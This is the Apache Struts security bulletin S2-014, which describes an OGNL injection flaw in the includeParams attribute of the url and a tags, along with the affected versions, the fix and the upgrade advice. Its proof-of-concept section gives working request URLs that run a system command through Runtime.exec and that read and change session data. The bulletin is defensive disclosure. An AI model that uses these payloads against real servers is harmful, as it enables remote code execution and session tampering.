S2-014

Summary

A vulnerability introduced by forcing parameter inclusion in the *URL* and *Anchor* Tag allows remote command execution, session access and manipulation and XSS attacks

Who should read this	All Struts 2 developers and users
Impact of vulnerability	Remote command execution, remote server context manipulation, injection of malicious client side code
Maximum security rating	Critical
Recommendation	Developers should immediately upgrade to Struts 2.3.14.2
Affected Software	Struts 2.0.0 - Struts 2.3.14.1
Reporter	Eric Kobrin and Douglas Rodrigues (Akamai), Coverity Security Research Laboratory, NSFOCUS Security Team
CVE Identifier	CVE-2013-2115, CVE-2013-1966

Problem

Both the *s:url* and *s:a* tag provide an *includeParams* attribute.

The main scope of that attribute is to understand whether includes http request parameter or not.

The allowed values of includeParams are:

1. *none* - include no parameters in the URL (default)
2. *get* - include only GET parameters in the URL
3. *all* - include both GET and POST parameters in the URL

A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an *URL* or *A* tag , which will cause a further evaluation.

The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

The issue was originally addressed by Struts 2.3.14.1 and Security Announcement S2-013. However, the solution introduced with 2.3.14.1 did not address all possible attack vectors, such that **every** version of Struts 2 before 2.3.14.2 is still vulnerable to such attacks.

Proof of concept

1. Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:

   ```
   includeParams="all"
   ```

   Such that the line will be something look like this:

   ```
   <s:url id="url" action="HelloWorld" includeParams="all">
   ```

2. Run struts2-blank app
3. Open the following url, resulting in calc application opening on Windows (try ....exec('open%20.')} to open a Finder window on Mac OS):

   ```
   http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%
   22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
   ```

4. Open the following url to modify session content:

```
http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}
```

5. Open the following url to print out session content and in combination with the previous example introduce arbitrary code into the resulting HTML output:

```
http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]}
```

As you will notice, in this case, there is no way to escape/sanitize the malicious parameter, since it's not an expected parameter and even will not get evaluated the request parameters are processed.

Solution

The URL rendering subsystem was changed to not pass any parameter name or value to OGNL evaluation.

The MemberAccess component's allowStaticMethodAccess property is now immutable.

Backward Compatibility

A small amount of very elaborated *URL* or *A* tag usages depending on the now disabled evaluation might produce unexpected results now. Please, ensure that

1. all expressions that should get evaluated are explicitly introduced via *PARAM* tags within *URL* or *A* tags.
2. all expressions used in *PARAM* tags come from a sanitized input.

It is strongly recommended to upgrade to Struts 2.3.14.2, which contains the corrected OGNL and XWork library.